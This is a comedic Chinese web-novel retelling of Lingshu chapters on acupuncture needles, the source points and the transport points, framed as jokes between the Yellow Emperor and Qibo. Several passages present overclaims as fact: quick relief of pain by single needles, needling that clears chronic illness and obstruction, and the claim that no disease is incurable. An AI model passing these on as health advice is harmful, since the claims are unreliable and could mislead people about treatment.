岐伯也跟着笑了起来：“陛下，您这志气可大了去了！不过，话说回来，要想成为针灸大师，可不是一朝一夕的事。得勤学苦练，多观察，多思考，还得有一颗仁爱之心，这样才能真正掌握针灸的精髓，造福苍生。” 这时一只小鸟从树上掉下来，翅膀受伤了。黄帝一看，心生怜悯，赶紧叫岐伯来瞧瞧。 岐伯走过来，仔细看了看小鸟的伤口，然后对黄帝说：“陛下，您看，这只小鸟的‘气’受伤了，咱们得给它治治。” 黄帝一愣：“小鸟也有‘气’？” 岐伯笑道：“万物皆有灵，小鸟自然也不例外。它的‘气’要是顺了，身体自然就好了。” 于是，岐伯拿出一根细针，轻轻地在小鸟的穴位上扎了几下。不一会儿，小鸟就扑棱着翅膀，欢快地飞走了。 黄帝看得目瞪口呆，笑道：“岐伯，你这针灸术真是神了！连小鸟都能治！” 岐伯却摆摆手，笑道：“陛下，这可不是我的功劳，是针灸的功劳。您想啊，咱们人体跟小鸟一样，都是由‘气’构成的。只要咱们掌握了针灸的精髓，就能让这股子气在咱们的身体里顺畅地流动，从而达到治病养生的效果。” 黄帝一听，哈哈大笑：“岐伯，你这一番话，让我对针灸的信心更足了！以后啊，咱们不仅要给人治病，还要给动物治病，让世界充满爱！” 岐伯也笑了：“陛下，您这想法真是太棒了！不过啊，咱们还是得一步步来，先把人的病治好了，再考虑动物的事儿吧！” 于是，两人又继续在花园里散步，讨论着针灸的奥秘，享受着这美好的时光。而那只被治愈的小鸟，也在天空中自由自在地飞翔着，仿佛在感谢黄帝和岐伯的恩情。 有一天，黄帝闲来无事，就对身边的岐伯说：“岐伯啊，我这心里老有个好奇事儿，就是想知道咱们的五脏六腑啊，它们各自在身体上是怎么体现的，有没有什么特别的出口或者标记啥的？” 岐伯一听，嘿，这可是个展示自己中医知识的大好机会啊，于是他清了清嗓子，故作神秘地说：“黄帝啊，您这可是问到点子上了。咱们人体的五脏六腑啊，那可是有它们自己的‘秘密通道’的。您看，五脏有五个重要的穴位，每个脏器一个，加起来就是五五二十五俞；六腑呢，更厉害，每个都有六个穴位，六六三十六俞，一共是这么 多穴位，够咱们数一阵子的了。” 黄帝一听，眼睛都亮了：“这么多穴位啊？那它们都是干嘛用的呢？” 岐伯一看黄帝来了兴趣，就接着往下说：“您别急，听我慢慢道来。这些穴位啊，它们可不是摆设，而是咱们身体的经络系统的重要组成部分。您知道吗？咱们人体有十二条正经，就像十二条高速公路一样，贯穿全身。还有十五条络脉，就像是这些高速公路的支线，连接着各个角落。这些经络和络脉啊，一共有二十七条，它们都是咱们气血运行的通道。” ，！ 黄帝点了点头，似乎明白了点什么：“哦，原来是这样啊。那这些穴位和经络之间有什么关系呢？” 岐伯笑了笑，说：“关系大了去了。您看，这些穴位就像是经络上的一个个‘站点’，气血在经络里运行的时候，就会在这些穴位上停留、汇聚。而且啊，这些穴位还有自己的名字和特性呢。比如说，气血刚开始从脏腑里出来的时候，就像是从井里打水一样，第一个穴位就被称为‘井穴’。然后啊，气血就开始在经络里流动了，就像是小溪里的水在流淌，第二个穴位就被称为‘荥穴’。接着啊，气血就汇聚到了一些重要的地方，就像是水流注入湖泊一样，第三个穴位就被称为‘俞穴’。然后啊，气血就继续沿着经络前行，就像是水流在河道里奔流不息，第四个穴位就被称为‘经穴’。最后啊，气血就回到了脏腑里，就像是水流汇入大海一样，第五个穴位就被称为‘合穴’。所以啊，咱们这二十七条经络上的穴位啊，都是按照这个规律来命名的。” 黄帝一听，恍然大悟：“原来如此啊！那这些穴位在针灸的时候有什么用呢？” 岐伯一看黄帝终于明白了，就高兴地说：“针灸啊，那可是一门大学问。您看，这些穴位就像是身体上的一个个‘开关’，针灸师通过刺激这些穴位啊，就可以调节咱们身体的气血运行和脏腑功能。比如说啊，如果您要是头疼了，针灸师就可以在您的手上的‘合谷穴’上扎一针啊，头疼立马就能缓解不少。要是胃疼了，就可以在腿上的‘足三里穴’上扎一针啊，胃疼也能很快就好起来。所以啊，这些穴位啊，那可都是咱们身体的宝贝啊！” 喜欢黄帝内经爆笑讲解版。 九针十二原篇第一（四） 有一天，黄帝心血来潮，决定向岐伯请教一个深奥的问题：“岐伯啊，我这心里老有个疑惑，就是那个‘节之交’的道理，您能给我讲讲不？” 岐伯一听，嘿，这黄帝还真是好学啊，于是慢悠悠地捋了捋胡子，开始了他的讲解：“黄帝啊，你这问题问得好！节之交，说白了，就是咱们身体里的三百六十五个秘密小聚会，也就是咱们中医里说的经络交会点。你要是掌握了它的精髓，那我用一句话就能给你说明白；但要是你没摸到门道，嘿，那可就复杂了，能绕得你头晕眼花，跟进了迷宫似的。” 黄帝一听，心里那个痒啊，连忙催促：“快！快！您就别卖关子了，赶紧用那句话给我点透吧！” 岐伯笑了笑，说：“好嘞，那你听好了——节之交，就是咱们身体里的‘神气’溜达玩耍、进进出出的地方，可不是你身上的皮肉筋骨那么简单哦！” 黄帝一听，恍然大悟，但又觉得不够过瘾，于是缠着岐伯：“岐伯啊，您这话说得太高深了，能不能再给我详细讲讲，让我这脑子也开开窍？” 岐伯一看黄帝这求知欲旺盛的样子，心里也是乐开了花，于是决定给他来一场别开生面的中医理论脱口秀。 “黄帝啊，你看咱们这身体，就像是一个大大的城市，里面的经络就像是城市的道路，而节之交呢，就是那些重要的交通枢纽。咱们身体里的‘神气’，就像是城市里的居民，他们得通过这些交通枢纽，才能去到自己想去的地方，比如心脏、肝脏、肾脏这些重要的部门。” “所以啊，这些节之交可重要了，它们要是堵了，那‘神气’可就惨了，得绕个大圈子才能到达目的地，这样一来二去的，身体就容易出问题。就像是城市里的交通拥堵，大家堵在路上，啥事儿也干不了，心里能不烦嘛！” 黄帝一听，哈哈大笑：“岐伯您这比喻真是太妙了！那这么说来，咱们得好好保养这些节之交，才能让身体里的‘神气’畅通无阻了？” 岐伯点点头：“正是如此啊！要想保养好节之交，那就得注意咱们的生活习惯，比如合理饮食、适量运动、保持良好的心态等等。这些啊，都是咱们中医里的养生之道。” 黄帝一听，连连点头：“岐伯您说得太对了！那我以后可得好好注意，不能让我的‘神气’们堵在路上，得让他们畅通无阻地在我身体里溜达玩耍！” 岐伯一听，也是笑得合不拢嘴：“哈哈，黄帝啊，你这学习态度可真是让人佩服！不过啊，你可别忘了，咱们中医可是讲究整体观念的，保养身体可不是一朝一夕的事，得长期坚持才行哦！” 黄帝有一天闲来无事，就琢磨着：“哎，岐伯这家伙老说针灸多神奇，多深奥，我倒要看看这扎针里头到底有啥门道。”于是，黄帝就踱着步子去找岐伯了。 一见面，黄帝就开门见山地说：“岐伯啊，我听说你针灸技术了得，今儿个我想请教请教，扎针时怎么感知病人的情况呢？是不是跟算命看相似的，得瞅瞅面相啥的？” 岐伯一听，哈哈大笑：“黄帝啊，你这可问到点子上了。不过，针灸可不是算命，它可是咱们老祖宗传下来的宝贝，深奥着呢。不过，为了让你这个外行也能听明白，我就尽量说得简单点儿吧。” 岐伯清了清嗓子，开始讲解：“首先啊，你得学会观察病人的脸色和眼神。你看，一个人的脸色要是红润有光泽，那肯定是气血充足，身体倍儿棒。要是脸色蜡黄，眼睛无神，那可能就得小心点儿了，这家伙八成是身体有点问题。” 黄帝点了点头：“嗯，这个我懂，就像看苹果一样，红彤彤的就是新鲜的，黄不拉几的就是放久了的。” 岐伯被黄帝的比喻逗得哈哈大笑：“对对对，你这个比喻倒是形象。不过啊，咱们还得更进一步。你得通过观察病人的眼神，来判断他的精神状态。比如，有的人眼神明亮，那说明他精神饱满，有活力；有的人眼神迷离，那可能就是疲劳过度，或者是被啥邪病给缠上了。” 黄帝一听，眼睛一亮：“哦？这么说来，眼神还能看出邪病来？那我是不是也能学会看相了？” 岐伯笑着摇了摇头：“看相那是另一门学问了。不过，咱们中医确实讲究望闻问切，通过观察病人的外在表现来判断病情。这望啊，就是第一步。” 黄帝若有所思地点了点头：“那接下来呢？” 岐伯接着说：“接下来啊，你得观察病人的形体和动作。你看，有的人身材匀称，行动矫健，那肯定是身体健康；有的人呢，身材臃肿，行动迟缓，那可能就得注意一下了，这家伙可能是湿气太重，或者是气血不通。” 黄帝听了，若有所思：“嗯，这个我也能理解。就像咱们平时看动物一样，健康的动物总是活蹦乱跳的，生病的动物就总是懒洋洋的。” 岐伯一听，又笑了起来：“对对对，你这个比喻也很形象。不过啊，咱们中医可是要严谨得多的。咱们不仅要观察病人的外在表现，还得通过听他的声音，感受他的气息，来判断他的病情。” 这章没有结束，请点击下一页继续阅读！ 黄帝点了点头：“嗯，这个我明白。就像咱们平时听人说话一样，有的人声音洪亮，中气十足；有的人呢，声音低沉，有气无力的。这肯定也是身体状况的一种反映。” 岐伯赞许地点了点头：“没错，黄帝啊，你可真是聪明绝顶啊。这么快就领悟到了中医的精髓。” 黄帝一听，心里美滋滋的：“嘿嘿，那也是岐伯你教得好嘛。” 岐伯笑了笑，接着说：“好了，咱们言归正传。说到针灸啊，这扎针可是个技术活。你得先找准穴位，然后用右手主推针，左手持针稳住，等到气到了，再把针拔出来。” 黄帝一听，瞪大了眼睛：“哦？这气到了是个啥意思？” 岐伯解释道：“这气到了啊，就是咱们中医说的‘得气’。就是当针尖刺入穴位后，病人会感到一种酸麻胀痛的感觉，同时医生也能感觉到针下有一种沉紧感。这就是气到了的表现。” 黄帝一听，恍然大悟：“哦，原来是这个意思啊。那这么说来，针灸就是得找准穴位，然后等气到了再拔针咯？” 岐伯点了点头：“没错，就是这个意思。不过啊，这针灸可不是一朝一夕就能学会的。你得经过长期的实践和学习，才能掌握这门技术。” 有一天，黄帝突发奇想，对身边的岐伯说：“嘿，岐伯啊，我听说那些针灸大师在给人扎针前，都得先摸摸脉，这是为啥呢？难道他们怕扎错地方，被病人追着打吗？” 岐伯一听，差点没笑出声，心想这黄帝啊，真是脑洞大开。不过，他还是一本正经地解释道：“陛下啊，这你就不懂了吧！凡是将要用针给人治病的大夫，必须先诊脉，这就像打游戏前要先看看攻略，才能顺利通关嘛！” 黄帝一听，眉头一皱，疑惑地问：“哦？这话怎么讲？” 岐伯清了清嗓子，开始他的讲解：“你想啊，每个人的身体都是一部独特的‘机器’，里面的气血运行就像游戏中的能量条。诊脉呢，就是检查这部‘机器’的‘能量条’是否充足，运行是否顺畅。如果气血旺盛，运行流畅，那就说明这部‘机器’状态良好，针灸起来自然得心应手；要是气血虚弱，运行受阻，那就得小心了，得像个拆弹专家一样，步步为营，否则一不小心就可能引爆‘炸弹’，也就是加重病情啦！” 黄帝一听，恍然大悟，原来诊脉这么重要啊！不过，他还是有些不死心，继续追问：“那诊脉能看出什么来呢？是不是能看出我今天中午吃了啥？” 岐伯一听，差点没忍住笑出声来，心想这黄帝啊，真是个活宝。他耐心解释道：“陛下啊，诊脉可不是透视眼，看不出你中午吃了啥。但是，它能看出你身体里的气血是寒是热，是虚是实，还能看出你的脏腑功能是否强健。就像看天气预报一样，虽然看不出你今天穿了啥衣服，但能告诉你今天天气咋样，该不该带伞啊！” 黄帝一听，这才明白过来，原来诊脉有这么多学问啊！他感慨地说：“岐伯啊，你这解释真是太接地气了，我终于明白了！那接下来呢？诊完脉，针灸就万无一失了吗？” 岐伯摇了摇头，笑道：“陛下啊，你这可就想得太美啦！诊完脉只是万里长征第一步，接下来的针灸才是重头戏呢！就像你打游戏，光看攻略可不行，还得动手操作才行！” 黄帝一听，来了精神，连忙追问：“那针灸有啥讲究呢？是不是得扎得越深越好？” 岐伯一听，差点没笑喷出来，心想这黄帝啊，真是个针灸小白。他耐心地解释道：“陛下啊，针灸可不是越深越好，得根据每个人的身体状况来决定。就像你给花浇水，得根据花的品种和天气来决定浇多少水，多了少了都不行。针灸也是这样，得根据病人的气血情况和脏腑功能来决定扎针的深浅和穴位的选择。否则，就像给花浇错了水，不仅治不了病，还可能加重病情呢！” 黄帝心血来潮，决定向岐伯请教一个深奥的问题：“岐伯啊，你说这五脏六腑里的气，要是在内里耗尽了，和外边儿的气断绝联系了，这是个啥情况？反过来，要是外边的气断了，里面还鼓捣啥呢？” 岐伯一听，嘿，这问题有意思，于是他就慢悠悠地开讲了：“黄帝啊，你这问题问得好啊，简直就是中医界的‘灵魂拷问’嘛！来来来，听我细细道来。” “首先啊，咱们说这五脏之气要是已经在内里耗干了，那就相当于家里的水库没水了，你还拼命往院子里浇水，这不是雪上加霜嘛！这叫做‘重竭’，意思就是双重枯竭，内外都玩儿完了。你想想，一个人要是这样，他能不挂吗？而且啊，这种死法还特别安静，就像睡着了一样，一点动静都没有，你说吓不吓人？” 黄帝一听，瞪大了眼睛：“这么恐怖？那要是遇到这种情况，该怎么抢救呢？” 岐伯捋了捋胡子，笑道：“抢救？难啊！不过呢，也不是完全没招儿。你得反过来想，既然内里没气了，那就得从外面给它找点儿气回来。怎么找呢？咱们中医讲究的是‘经络相通’，你可以试着针灸他的腋下和胸口这些地方，这些地方经络多，说不定能给五脏拉点儿‘外援’呢！当然啦，这只是理论上的，实际操作起来，成功率嘛……嘿嘿，你懂的。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝点了点头，若有所思：“原来如此，那要是五脏之气在外边儿断了呢？又该怎么处理？” 岐伯继续笑道：“这个问题嘛，就得反过来看了。要是外边的气断了，你还拼命往五脏里打气，这就叫‘逆厥’，意思就是逆反的晕厥。你想想，一个人要是这样，他能不闹腾吗？死的时候也是各种折腾，动静大得很。所以啊，遇到这种情况，你得反过来，别管五脏了，直接往四肢末端下针。为啥呢？因为四肢是气血运行的末端，有时候气血堵了，四肢会有反应。你针灸一下，说不定能把气血给疏通了，让外边的气重新回来。” 黄帝一听，哈哈大笑：“岐伯啊，你这方法听起来就像是给电脑重装系统，哪里不行修哪里，还得反过来倒腾，真是够逗的！” 岐伯也跟着笑了起来：“可不是嘛！中医嘛，讲究的就是个平衡和调和。五脏六腑，气血阴阳，都得互相配合，才能身体健康。要是哪个环节出了问题，就得赶紧想办法调整，不然啊，就得像你说的那样，得重装系统了！” 说到这里，黄帝突然想到了什么：“岐伯啊，你说咱们中医的针灸疗法，是不是就像现代的编程技术一样，需要不断学习和更新啊？” 岐伯一愣，随即点头：“你说得对！中医针灸啊，就像是编程，得不断学习和实践，才能掌握更多的技巧和方法。而且啊，还得与时俱进，不能一成不变。就像现在的针灸技术，已经比以前进步了很多，也更加注重科学性和安全性了。” 黄帝听了，连连点头：“不错不错！看来咱们中医也得跟上时代的步伐啊！不然啊，早晚得被淘汰出局！” 岐伯笑了笑：“那是自然！不过啊，黄帝啊，你可别忘了，咱们中医可是有着几千年的历史和文化底蕴的。不管时代怎么变，咱们中医的核心思想和理念是不会变的。就像这五脏之气的内外平衡一样，永远都是咱们中医关注的重点。” 黄帝听了，感慨万千：“是啊！中医的精髓就在于它的整体观念和平衡思想。只有掌握了这些核心要素，才能真正成为一名优秀的中医。” 说到这里，两人相视一笑，似乎都明白了对方的心意。黄帝继续问道：“岐伯啊，那你说说看，这五脏之气的内外平衡和咱们日常生活中的养生有什么关系呢？” 岐伯想了想，笑道：“关系大了去了！你看啊，咱们平时要是饮食不规律、作息不正常、情绪波动大等等，都会影响到五脏之气的平衡。所以啊，要想保持身体健康，就得注意养生。怎么养生呢？简单来说就是‘顺应自然、调节情志、合理饮食、适度运动’这些老生常谈的话了。” 九针十二原篇第一（五） 有一天，黄帝突然对岐伯说：“岐伯啊，我听说针灸这事儿，虽然能治病救人，但搞不好也会出乱子，对吧？我就纳闷了，这针灸要是扎得不对，到底会有啥害处呢？” 岐伯一听，嘿，黄帝这是要给自己挖坑啊，不过咱岐伯是谁？那可是中医界的泰斗，针灸界的扛把子，于是慢悠悠地说：“哎呀，黄帝啊，你这问题问得好，问到点子上了。针灸这事儿，就跟炒菜一样，火候、调料都得恰到好处，不然不是糊了就是淡了，对吧？针灸要是扎得不对，那危害可不小呢！” 黄帝一听，眼睛立马就亮了，跟打了鸡血似的：“快说说，快说说，到底有啥危害？” 岐伯清了清嗓子，开始了他的爆笑针灸课堂：“首先啊，咱们得明白，针灸的本质是啥？不就是通过刺激穴位，调动人体自身的气血来治病嘛。但是呢，要是针灸扎得不对，比如扎到了不该扎的地方，或者扎得太深，那可就麻烦了。” “比如说吧，你要是扎到了人体的‘精库’（这里指中医理论中储存精气的地方），而且针还留在那里不拔出来，那可就相当于给身体的‘精库’开了个大口子，精气就哗哗地往外流了。这精气可是人体的宝贝啊，能滋养五脏六腑，维持生命活动。精气一泄，身体可就虚弱了，病不但没好，反而更严重了，人也变得恇恇怂怂的，跟霜打的茄子似的。” 黄帝一听，哈哈大笑：“哎呀，这比喻真形象，那以后我可得小心了，别一不小心就成了霜打的茄子。” 岐伯接着又说：“还有啊，要是针灸扎得不对，但赶紧拔出来了呢？那也别高兴得太早，因为这时候虽然精气没泄太多，但气血却被搅乱了。气血在人体内可是要按规矩走的，就像高速公路上的车一样，都有固定的车道和速度。你这一针下去，气血就乱了套了，到处乱跑，结果呢？就容易在身体的某个地方堵车，形成‘痈疡’（就是中医说的脓肿、疮疡）。” 黄帝一听，瞪大了眼睛：“这么说来，针灸还真是个技术活啊，稍有不慎，就得闹出大乱子。” 岐伯点了点头：“那是自然，所以针灸这事儿，得找专业人士来干，不能瞎胡闹。而且啊，就算是专业人士，也得小心翼翼，一丝不苟，因为人体的穴位啊，那可是比头发丝还细的地方，稍微偏一点，效果就差十万八千里了。” 黄帝听了，连连点头：“对对对，这事儿得慎重，不能马虎。那岐伯老师，您再给我讲讲，怎么才能避免这些危害呢？” 岐伯笑了笑：“这事儿啊，说起来也简单，就是要做到‘知己知彼，百战不殆’。你得先了解自己的身体，知道哪些穴位能扎，哪些穴位不能扎；还得了解针灸的原理和方法，知道怎么扎才能调动气血，治病救人。所以啊，要想学好针灸，非得下苦功不可。” 黄帝一脸好奇地问岐伯：“歧伯啊，我这心里老是琢磨着，咱们这五脏六腑要是有个头疼脑热的，到底是个啥道理呢？你能不能给我讲讲这其中的门道？” 歧伯捋了捋胡子，笑眯眯地说：“哎呀，黄帝啊，你这问题问得可是深啊！不过呢，咱们中医讲究的就是个‘知其然，还要知其所以然’。来来来，我给你细细道来。” 黄帝眼睛一亮：“快讲快讲！” 歧伯继续说道：“咱们先说这五脏吧，它们可不是孤军奋战，每个脏都有它的‘小伙伴’——六腑。这五脏六腑啊，就像是一个大家庭，各有各的角色，但都得互相照应着。而在这大家庭里，还有十二个特别重要的‘守护神’，它们就是十二原穴。” 黄帝疑惑地问道：“十二原穴？听起来挺神秘啊！” 歧伯耐心地解答：“神秘归神秘，但作用可大了去了！这十二原穴就像是五脏六腑的‘信号灯’，它们能从四关（就是咱们的两肘窝和两膝窝这四个地方）出来，然后分别对应着五脏。所以啊，要是五脏有啥不对劲，咱们就可以通过这十二原穴来发现问题，解决问题。” 黄帝恍然大悟道：“哦~原来是这样！那具体怎么操作呢？” 歧伯哈哈一笑：“别急嘛！咱们一个一个来。比如说啊，这肺呢，在阳中之少阴的位置，它的守护神就是太渊穴。太渊穴在哪儿呢？就在咱们手腕这儿，你摸摸看，是不是有两个脉搏跳动的地方？对，就是那个！要是肺有问题，比如咳嗽啊、气喘啊，太渊穴就会有所反应。” 黄帝试着摸了摸：“嘿，还真有啊！那其他的呢？” 歧伯淡然一笑：“别急嘛！咱们继续。这心啊，在阳中之太阳的位置，它的守护神是大陵穴。大陵穴在手腕横纹中间，掌长肌腱和桡侧腕屈肌腱之间。你要是觉得心慌意乱、失眠啥的，就可以揉揉大陵穴。” 黄帝若 有所思道：“嗯，听起来挺有道理的。” 歧伯一脸地风轻云淡：“那当然啦！接着来啊，肝呢，是阴中之少阳，它的守护神是太冲穴。太冲穴在脚背上，第一、二跖骨结合部之前凹陷处。你要是觉得肝火旺、脾气大，那就得赶紧揉揉太冲穴啦！” 黄帝笑得前仰后合：“哈哈，那我以后生气了就先揉揉脚！” 歧伯继续说道：“对对对！还有啊，脾是阴中之至阴，它的守护神是太白穴。太白穴在脚的内侧，第一跖趾关节后缘，赤白肉际凹陷处。你要是觉得食欲不振、消化不良啥的，太白穴就是你的救星啦！” 黄帝点了点头道：“嗯嗯，记住了！” 歧伯又接着说道：“最后啊，肾是阴中之太阴，它的守护神是太溪穴。太溪穴在脚的内踝后方，当内踝尖与跟腱之间的凹陷处。你要是觉得腰膝酸软、头晕耳鸣啥的，太溪穴就得赶紧用起来啦！” 黄帝一脸崇拜地说：“歧伯啊，你可真是个活字典啊！那还有两个呢？膏之原和肓之原呢？” 歧伯大笑道：“哈哈，这两个啊，比较特殊。膏之原在鸠尾穴，就在上腹部，前正中线上，脐上七寸。肓之原在脖胦穴，这个嘛，位置比较隐蔽，就不多说了。不过啊，这两个穴位也是非常重要的，尤其是对于一些比较顽固的疾病，它们可是能发挥大作用的！” 黄帝连连点头：“嗯嗯嗯，受教了受教了！” 歧伯继续说道：“所以啊，黄帝啊，这十二原穴就像是咱们身体的‘守护神’，它们能反映出五脏六腑的健康状况，也能帮助咱们调理身体。以后啊，你要是觉得哪里不对劲，就可以先找找对应的原穴，说不定就能找到解决问题的线索呢！” 黄帝说：“嘿，岐伯老兄，我这心里头有个疑惑啊，就像吃了没放盐的面条，淡得慌！都说肚子胀气得找三阳经的穴位，拉肚子得扎三阴经的穴位，这到底是为啥呢？你给我说道说道。” 岐伯一听，哈哈大笑，拍了拍黄帝的肩膀说：“黄帝啊，你这问题问得好，简直就是十万个为什么里的vip级别啊！来来来，听我慢慢给你扒拉清楚。” “首先啊，咱们得明白，人体这五脏六腑，一旦有了毛病，就像是衣服上扎了根刺，或者是被墨水溅了个污点，又或者打了个死结，再或者是门给关死了。你想啊，刺扎了，拔出来不就完了嘛；墨水溅上了，洗一洗也就干净了；结打上了，耐心解一解，总能松开；门关了，找把钥匙，或者干脆来一脚，哈哈，不就开了嘛！” 黄帝一听，眼睛一亮：“哟呵，岐伯你这比喻，简直是医学界的段子手啊！接着说，接着说。” 岐伯清了清嗓子，继续道：“有些人说啊，老毛病，治不好了，那都是瞎扯！咱们中医的针灸，那可是有魔法的哦。高手针灸师，那手法，简直就像是在玩解谜游戏，一针下去，不管是多年的刺，还是陈年老污，亦或是心结、肠梗阻，统统给你搞定！就像变魔术一样，‘嗖’的一下，病就好了。” 黄帝听得津津有味，忍不住插嘴：“那你说说，这针灸是怎么变魔术的？” 岐伯故作神秘，压低声音说：“针灸啊，其实就是给身体发信号，告诉它哪里不对劲，赶紧调整。三阳经啊，那是负责给身体加油打气的，像太阳一样，能量满满。所以，肚子胀气这种‘打气过头’的情况，咱们就得找三阳经的穴位，给它泄泄火，就像给气球放放气，让它别那么膨胀。” “至于三阴经嘛，那可是滋养身体的温柔乡，像是细雨滋润着干涸的土地。拉肚子这种‘营养流失’的问题，就得靠三阴经来补补身子，固本培元，就像是给漏水的船打补丁，让它别再漏水了。” 黄帝听得连连点头，笑道：“岐伯，你这解释，比吃红烧肉还过瘾！不过，我还是有点好奇，那些说老病治不好的人，到底是咋回事？” 岐伯叹了口气，摇了摇头：“唉，那都是因为没找到对的方法啊。你想想，治病就像是找宝藏，得知道藏宝图在哪儿，还得有把趁手的铲子。有些医生啊，可能还没找到那张藏宝图，或者铲子不够锋利，自然就觉得治不好了。但咱们中医啊，讲究的是望闻问切，四诊合参，找到病因，对症下药，哪有治不好的道理？” 黄帝一听，拍案叫绝：“说得好！岐伯，你简直就是医学界的哲学家，不仅治病救人，还启迪人心啊！这么一来，我这心里头的疑惑，就像是被你一针扎破的气球，彻底没影儿了！” 岐伯也笑了：“黄帝兄，你这是夸我呢，还是夸针灸呢？不过啊，话说回来，咱们中医的魅力，就在于这份智慧与和谐，人与自然，人与身体，都得讲究个平衡。针灸，不过是打开这扇平衡之门的钥匙罢了。” 说到这里，岐伯突然话锋一转，幽默地说：“当然了，黄帝，你要是哪天也肚子胀或者拉肚子了，记得别来找我啊，直接去找三阳经和三阴经的穴位，它们可比我这个老头子靠谱多了！” 黄帝有一天突发奇想，对身边的岐伯说：“嘿，岐伯啊，我总听你说针灸如何如何神奇，能治百病。那你给我讲讲，刺那些热得跟火炉似的病人，和刺那些冷得跟冰棍一样的病人，有啥不一样的讲究吗？” 岐伯一听，哈哈一笑，捋了捋他那飘逸的胡须，说道：“这事儿啊，简单又深奥，且听我慢慢道来。” “先说刺那些热得跟吃了辣椒似的病人吧，你得想象自己把手伸进刚烧开的热水锅里，那速度，得要快、准、狠！为啥呢？因为这些人体内啊，就像有个小火炉在熊熊燃烧，你得赶紧把火给灭了，不然烧坏了五脏六腑可咋整？这一针下去，就像消防员喷水一样，得迅速降温，让那热气顺着经络往下跑，跑到脚底排出体外。这就是咱们中医说的‘热者寒之’，用寒凉的针刺法来对付热病。” 黄帝一听，眼睛一亮：“哇塞，这比喻太形象了！那刺那些冷得跟南极企鹅一样的病人呢？” 岐伯继续笑道：“刺他们啊，你得想象自己是个懒汉，大冬天的不想出门，脚步沉重得跟灌了铅似的。为啥呢？因为他们体内啊，阳气不足，寒气太重，你得慢慢温补，激发他们自身的阳气，让他们从里到外都暖和起来。这一针下去，就像给身体开了个小太阳，温暖舒适，让寒气逐渐消散。这就是‘寒者热之’，用温热的针刺法来调理寒症。” 黄帝点头如捣蒜：“原来如此，那具体扎哪些穴位呢？快给我讲讲！” 岐伯清了清嗓子，继续说道：“比如说，有个病人，他下面阳气不足，上面却热得要命，这种情况咱们叫‘阴有阳疾’。这时候，你得找他的‘足三里’穴，这可是个养生大穴，位于小腿外侧，膝盖骨下方三寸的地方。你扎这一针，就像给身体开了扇窗，让上面的热气顺着经络跑到下面来，和阳气汇合，达到阴阳平衡。记住啊，扎针的时候得全神贯注，一针到底，直到病人觉得气往下走了，这才算到位。如果还没感觉，那就再来一针，直到热气乖乖听话为止。” 黄帝听得津津有味，笑道：“这足三里，简直就是身体的‘热气球调节器’嘛！那要是病气在身体上面，又靠近里面的呢？” 岐伯答道：“这时候，你就得找他的‘阴陵泉’了。这穴位在小腿内侧，膝盖骨下方，摸着软绵绵的，就像是身体里的一个小水库。你扎这一针，就像给水库开了闸，让病气随着水流往外排，达到疏通经络、调和气血的效果。记住哦，这是针对病气在内、在上的情况。” 黄帝又问：“那要是病气在上面，又靠近外面的呢？” 岐伯笑道：“这时候，咱们的‘阳陵泉’就该上场了！这穴位也在小腿外侧，但比足三里靠上一点，就像是身体的一个‘排气扇’。你扎这一针，就像给身体装了个强力风扇，把病气直接从体外吹走。这可是治疗风湿、关节痛等疾病的利器哦！” 黄帝听完，拍案叫绝：“岐伯啊，你这针灸理论，简直就是一部活生生的武侠小说啊！每个穴位都是高手的秘籍，每一针都是绝世武功！” 岐伯哈哈大笑：“黄帝大人说得没错，中医针灸，就是一部人体与自然和谐共生的宝典。咱们不仅要学会用针，更要用心去感受身体的每一个细微变化，这样才能真正做到‘手到病除’，让病人恢复健康，笑口常开！” 本输篇第二（一） 黄帝闲来无事，就去找他的老朋友岐伯聊天。黄帝说：“岐伯啊，我听说这针灸之道可是一门大学问，得通晓十二经络的起始和终结，还得知道络脉都往哪儿拐，五俞穴都留在啥地方，六腑和经络是怎么勾结在一起的，还有啊，这四季变化跟经络有啥关系，五脏六腑在经络里都溜达到哪儿去了，穴位之间的距离、深浅，还有它们各自的高低位置，这些我都想知道，你给我讲讲呗。” 岐伯一听，乐了，说：“哎呀，黄帝啊，你这是要给我出难题啊。不过呢，既然你问了，那我就给你讲讲这肺经的事儿吧，毕竟肺是咱人体的娇脏，得好好爱护。” 黄帝一听，眼睛一亮，说：“好呀好呀，赶紧的，别卖关子了。” 岐伯清了清嗓子，开始了他爆笑又详细的讲解：“首先啊，咱说这肺经，它可是从手上的少商穴开始的。少商穴在哪儿呢？就在你大拇指指甲盖儿内侧的那个角上，就像是大拇指戴了个小绿帽子似的，这地方就是肺经的起点，中医里管它叫‘井木’。为啥叫井木呢？因为井就是水的源头嘛，木又代表生长，所以这里就是肺经气血开始生发的地方。” 黄帝一听，笑得前仰后合，说：“岐伯啊，你这比喻可真够形象的，不过我还是听懂了。” 岐伯接着说：“然后呢，这气血就从少商穴溜达到了鱼际穴。鱼际穴在哪儿呢？你把手掌摊开，看看大拇指下面那块肉嘟嘟的地方，就像一条小鱼儿趴在那儿似的，这地方就是鱼际穴了。鱼际穴在中医里是‘荥’穴，荥就是小溪流嘛，所以这里的气血就像小溪一样流淌。” 黄帝一听，又乐了，说：“岐伯啊，你这穴位名称解释得可真够接地气的，我都能想象出小鱼儿在手掌上游来游去的画面了。” 岐伯笑了笑，继续说：“接下来啊，这气血就流到了太渊穴。太渊穴在哪儿呢？你顺着鱼际穴往后摸，大约一寸的地方，有个凹陷的小坑儿，那儿就是太渊穴了。太渊穴在中医里是‘俞’穴，俞就是运输的意思嘛，所以这里就像是肺经气血的一个中转站，把气血输送到全身各处。” 黄帝一听，点了点头，说：“嗯，这解释挺到位的，我都能想象出气血在这儿排队等候运输的画面了。” 岐伯接着说：“然后呢，这气血就沿着经渠穴流淌。经渠穴在哪儿呢？你顺着太渊穴往手腕方向摸，摸到那个跳动的脉搏，那儿就是经渠穴了。经渠穴在中医里是‘经’穴，经就是道路的意思嘛，所以这里就像是肺经气血的一条主干道，气血在这里畅通无阻地流淌。” 黄帝一听，哈哈大笑，说：“岐伯啊，你这解释让我感觉像是在给气血修路似的，真是太有趣了。” 岐伯也笑了，说：“最后啊，这气血就流入了尺泽穴。尺泽穴在哪儿呢？你把手臂弯曲起来，看看肘窝那儿有一条大筋，大筋的外侧有个凹陷的地方，那儿就是尺泽穴了。尺泽穴在中医里是‘合’穴，合就是汇聚的意思嘛，所以这里就像是肺经气血的一个大水库，把气血都汇聚起来，然后输送到全身各处。” 黄帝一听，拍了拍手，说：“岐伯啊，你这解释真是太棒了，我都能想象出气血在这儿开派对的画面了。” 